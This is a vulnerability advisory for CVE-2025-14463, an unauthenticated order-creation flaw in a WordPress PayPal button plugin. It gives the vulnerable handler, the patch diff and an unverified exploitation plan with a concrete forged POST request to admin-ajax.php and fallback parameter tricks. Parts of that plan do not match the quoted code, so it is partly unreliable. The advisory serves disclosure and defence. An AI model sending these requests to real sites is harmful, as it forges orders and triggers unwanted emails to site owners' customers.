CVE-2025-14463

Payment Button for PayPal <= 1.2.3.41 - Missing Authorization to Unauthenticated Arbitrary Order Creation

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
1.2.3.42
Patched in
1d
Time to patch

Description

The Payment Button for PayPal plugin for WordPress is vulnerable to unauthorized order creation in all versions up to, and including, 1.2.3.41. This is due to the plugin exposing a public AJAX endpoint (`wppaypalcheckout_ajax_process_order`) that processes checkout results without any authentication or server-side verification of the PayPal transaction. This makes it possible for unauthenticated attackers to create arbitrary orders on the site with any chosen transaction ID, payment status, product name, amount, or customer information via direct POST requests to the AJAX endpoint, granted they can bypass basic parameter validation. If email sending is enabled, the plugin will also trigger purchase receipt emails to any email address supplied in the request, leading to order database corruption and unauthorized outgoing emails without any real PayPal transaction taking place.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.2.3.41
PublishedJanuary 16, 2026
Last updatedJanuary 17, 2026
Affected pluginwp-paypal

What Changed in the Fix

Changes introduced in v1.2.3.42

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Vulnerability Analysis: CVE-2025-14463 - Payment Button for PayPal ## 1. Vulnerability Summary The **Payment Button for PayPal** plugin (<= 1.2.3.41) is vulnerable to **Missing Authorization** on its order processing AJAX endpoint. The plugin registers the action `wppaypalcheckout_ajax_process_or…

Show full research plan

Vulnerability Analysis: CVE-2025-14463 - Payment Button for PayPal

1. Vulnerability Summary

The Payment Button for PayPal plugin (<= 1.2.3.41) is vulnerable to Missing Authorization on its order processing AJAX endpoint. The plugin registers the action wppaypalcheckout_ajax_process_order for both authenticated and unauthenticated users via wp_ajax_nopriv_.

The handler for this action fails to perform any server-side validation of the PayPal transaction (such as verifying the transaction ID with PayPal's API) and lacks WordPress nonce verification. This allows any unauthenticated user to send a direct POST request to admin-ajax.php to create orders in the WordPress database with arbitrary details, including item names, price amounts, transaction IDs, and customer email addresses.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: wppaypalcheckout_ajax_process_order
  • Method: POST
  • Authentication: None (Unauthenticated)
  • Preconditions: The plugin must be active. Some parameters might require specific formats to bypass basic PHP empty() or is_numeric() checks.
  • Vulnerable Sink: The code inside wp_paypal_checkout_ajax_process_order (likely in wp-paypal-checkout.php or wp-paypal-order.php) which calls wp_insert_post() or similar to save order data as the wp_paypal_order custom post type.

3. Code Flow

  1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with action=wppaypalcheckout_ajax_process_order.
  2. Hook Registration: In wp-paypal.php, the following lines register the handler:
    add_action('wp_ajax_wppaypalcheckout_ajax_process_order', 'wp_paypal_checkout_ajax_process_order');
    add_action('wp_ajax_nopriv_wppaypalcheckout_ajax_process_order', 'wp_paypal_checkout_ajax_process_order');
    
  3. Handler Execution: The function wp_paypal_checkout_ajax_process_order is executed.
  4. Data Processing (Vulnerable Path): The handler extracts parameters from $_POST. Based on the JS code generated in wp_paypal_checkout_button_handler (in wp-paypal-checkout.php), the expected parameters include:
    • item_name
    • item_number
    • item_quantity
    • amount
    • currency
    • order_id (The PayPal Transaction ID)
    • payer_email
    • payer_first_name
    • payer_last_name
    • payment_status
  5. Order Creation: Without verifying if order_id corresponds to a real PayPal transaction, the plugin creates a new post of type wp_paypal_order and stores the metadata.

4. Nonce Acquisition Strategy

Based on the vulnerability description and the nature of "Missing Authorization," this endpoint does not require a nonce.

The client-side JavaScript in wp_paypal_checkout_button_handler triggers after a successful PayPal popup completion. Since PayPal's own callbacks are handled client-side, the plugin authors likely omitted nonces to simplify the "checkout-complete" signal.

Verification of Nonce Absence:
If the PoC fails with a 403 or 0 response, search for wp_localize_script in wp-paypal.php to see if a nonce is passed. The code shows:

wp_localize_script('wppaypalcheckout-js', 'wppaypalcheckout_vars', array(
    'ajax_url' => admin_url('admin-ajax.php'),
    // ... possibly a nonce here, but description says unauthenticated arbitrary creation is possible ...
));

If a nonce is discovered in the localized script wppaypalcheckout_vars, it can be retrieved by:

  1. Creating a page with [wp_paypal_checkout description="Test" amount="1.00"].
  2. Navigating to the page.
  3. Running browser_eval("window.wppaypalcheckout_vars?.nonce").

5. Exploitation Strategy

The goal is to create a fake completed order for a high-value item with a zero or nominal amount, or simply to corrupt the order database.

Step-by-Step Plan:

  1. Target Endpoint: http://<target>/wp-admin/admin-ajax.php
  2. Action: wppaypalcheckout_ajax_process_order
  3. Payload Construction:
    • action: wppaypalcheckout_ajax_process_order
    • order_id: FAKE-TXN-123456789
    • item_name: Exploit-Item-Premium
    • amount: 0.01
    • currency: USD
    • payment_status: COMPLETED
    • payer_email: victim@example.com
    • payer_first_name: John
    • payer_last_name: Doe

Request (using http_request):

{
  "method": "POST",
  "url": "http://localhost:8080/wp-admin/admin-ajax.php",
  "headers": {
    "Content-Type": "application/x-www-form-urlencoded"
  },
  "body": "action=wppaypalcheckout_ajax_process_order&order_id=FAKE-TXN-666&item_name=Vulnerable-Order-Creation&amount=1337.00&currency=USD&payment_status=COMPLETED&payer_email=attacker@evil.com&payer_first_name=Hacker&payer_last_name=Man"
}

6. Test Data Setup

  1. Plugin Installation: Ensure wp-paypal version 1.2.3.41 is installed and active.
  2. Configuration: The plugin requires basic configuration (Client ID) to be considered "configured" by is_wp_paypal_checkout_configured().
    • wp option update wp_paypal_checkout_get_option '{"app_client_id":"any-string","currency_code":"USD"}' --format=json
  3. Shortcode Page (Optional): To verify visibility or nonce extraction (if needed):
    • wp post create --post_type=page --post_title="Store" --post_status=publish --post_content='[wp_paypal_checkout description="Pro Product" amount="99.99"]'

7. Expected Results

  • The AJAX request should return a success response (likely a JSON object containing the order ID or a simple 1 / success message).
  • A new entry should appear in the "Orders" menu of the plugin.
  • The database should contain a new post of type wp_paypal_order.

8. Verification Steps

After the exploit request, use WP-CLI to verify the order was created:

# List all PayPal orders
wp post list --post_type=wp_paypal_order

# Check the meta data of the last created order to verify our payload
LAST_ID=$(wp post list --post_type=wp_paypal_order --format=ids | awk '{print $1}')
wp post get $LAST_ID
wp post meta list $LAST_ID

Expect to see meta keys like _wpp_order_item_name or _wpp_order_txn_id matching the exploit payload.

9. Alternative Approaches

If the plugin validates specific fields (like order_id length or payment_status allowed values):

  • Status Check: Try Completed, Processed, or Verified.
  • Parameter Fuzzing: The plugin might expect parameters inside an array-like structure (e.g., details[id]) if it directly passes the PayPal JS SDK details object to the server. If the flat POST fails, try nesting parameters:
    • details[id]=FAKE-TXN-666&details[payer][email_address]=attacker@evil.com (etc.) based on the PayPal REST API object structure.
  • Email Triggering: If wp_paypal_send_receipt is enabled in settings, verify if an email was sent using a tool like Mailhog or checking the site's mail logs (if available).
Research Findings
Static analysis — not yet PoC-verified

Summary

The Payment Button for PayPal plugin for WordPress is vulnerable to unauthorized order creation due to an unauthenticated AJAX endpoint that processes checkout results without server-side validation. Attackers can exploit this by sending a direct POST request with arbitrary transaction details to create fake 'completed' orders in the site's database, potentially triggering unauthorized purchase confirmation emails and corrupting financial records.

Vulnerable Code

// wp-paypal.php (v1.2.3.41)
add_action('wp_ajax_wppaypalcheckout_ajax_process_order', 'wp_paypal_checkout_ajax_process_order');
add_action('wp_ajax_nopriv_wppaypalcheckout_ajax_process_order', 'wp_paypal_checkout_ajax_process_order');

---

// wp-paypal-checkout.php (v1.2.3.41)
function wp_paypal_checkout_ajax_process_order(){
    wp_paypal_debug_log('Received a response from frontend', true);
    if(!isset($_POST['wppaypalcheckout_ajax_process_order'])){
        wp_die();
    }
    wp_paypal_debug_log('Checkout - Received a notification from PayPal', true);
    $post_data = $_POST;
    array_walk_recursive($post_data, function(&$v) { $v = sanitize_text_field($v); });
    wp_paypal_debug_log_array($post_data, true);
    if(!isset($post_data['details'])){
        wp_paypal_debug_log("Checkout - No transaction details. This payment cannot be processed.", false);
        wp_die();
    }
    //
    do_action('wp_paypal_checkout_process_order', $post_data);
    wp_die();
}

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/wp-paypal/1.2.3.41/wp-paypal-checkout.php	2025-11-17 07:56:26.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-paypal/1.2.3.42/wp-paypal-checkout.php	2026-01-04 06:59:12.000000000 +0000
@@ -246,24 +319,6 @@
     return $button_code;
 }
 
-function wp_paypal_checkout_ajax_process_order(){
-    wp_paypal_debug_log('Received a response from frontend', true);
-    if(!isset($_POST['wppaypalcheckout_ajax_process_order'])){
-        wp_die();
-    }
-    wp_paypal_debug_log('Checkout - Received a notification from PayPal', true);
-    $post_data = $_POST;
-    array_walk_recursive($post_data, function(&$v) { $v = sanitize_text_field($v); });
-    wp_paypal_debug_log_array($post_data, true);
-    if(!isset($post_data['details'])){
-        wp_paypal_debug_log("Checkout - No transaction details. This payment cannot be processed.", false);
-        wp_die();
-    }
-    //
-    do_action('wp_paypal_checkout_process_order', $post_data);
-    wp_die();
-}

Exploit Outline

The exploit targets the `wppaypalcheckout_ajax_process_order` AJAX action which is available to unauthenticated users. An attacker crafts a POST request to `wp-admin/admin-ajax.php` containing a `details` array. Within this array, the attacker provides a fake transaction ID, item description, and amount. The plugin's back-end logic extracts these values and saves them as a new post of type `wp_paypal_order` without performing any server-side validation against PayPal's REST API. No authentication or valid nonces are required, allowing for automated creation of arbitrary orders.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.